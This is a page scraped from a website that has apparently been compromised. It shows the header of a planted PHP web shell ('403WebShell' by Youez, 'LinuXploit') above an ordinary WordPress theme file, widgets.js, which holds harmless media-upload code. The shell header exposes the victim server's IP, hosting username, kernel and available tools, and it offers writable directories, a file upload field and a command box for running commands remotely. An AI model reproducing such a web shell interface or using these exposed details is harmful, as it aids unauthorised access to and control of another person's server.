Done ! 403WebShell
403Webshell
Server IP : 51.91.236.255  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm003.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : chloega ( 433239)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/chloega/www/wp-content/themes/tempera/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/chloega/www/wp-content/themes/tempera/admin/js/widgets.js
/*!
 * Loading Media upload for custom widget
 */

jQuery(document).ready( function(){
	var tempera_tempera_uploadparent = 0;
	function media_upload( button_class) {
		var _custom_media = true,
		_orig_send_attachment = wp.media.editor.send.attachment;
		jQuery('body').on('click',button_class, function(e) {
		tempera_uploadparent = jQuery(this).closest('div');
			var button_id ='#'+jQuery(this).attr('id');
			/* console.log(button_id); */
			var self = jQuery(button_id);
			var send_attachment_bkp = wp.media.editor.send.attachment;
			var button = jQuery(button_id);
			/* var id = button.attr('id').replace('_button', ''); */
			_custom_media = true;
			wp.media.editor.send.attachment = function(props, attachment){
				if ( _custom_media  ) {
				   /* jQuery('.custom_media_id').val(attachment.id); */	  
				   tempera_uploadparent.find('.slideimages').val(attachment.url);
				   tempera_uploadparent.find('.slideimages').trigger('change');
				   /* jQuery('.custom_media_image').attr('src',attachment.url).css('display','block'); */
				} else {
					return _orig_send_attachment.apply( button_id, [props, attachment] );
				}
			}
			wp.media.editor.open(button);
			return false;
		});
	}
	media_upload( '.upload_image_button');
});

Youez - 2016 - github.com/yon3zu
LinuXploit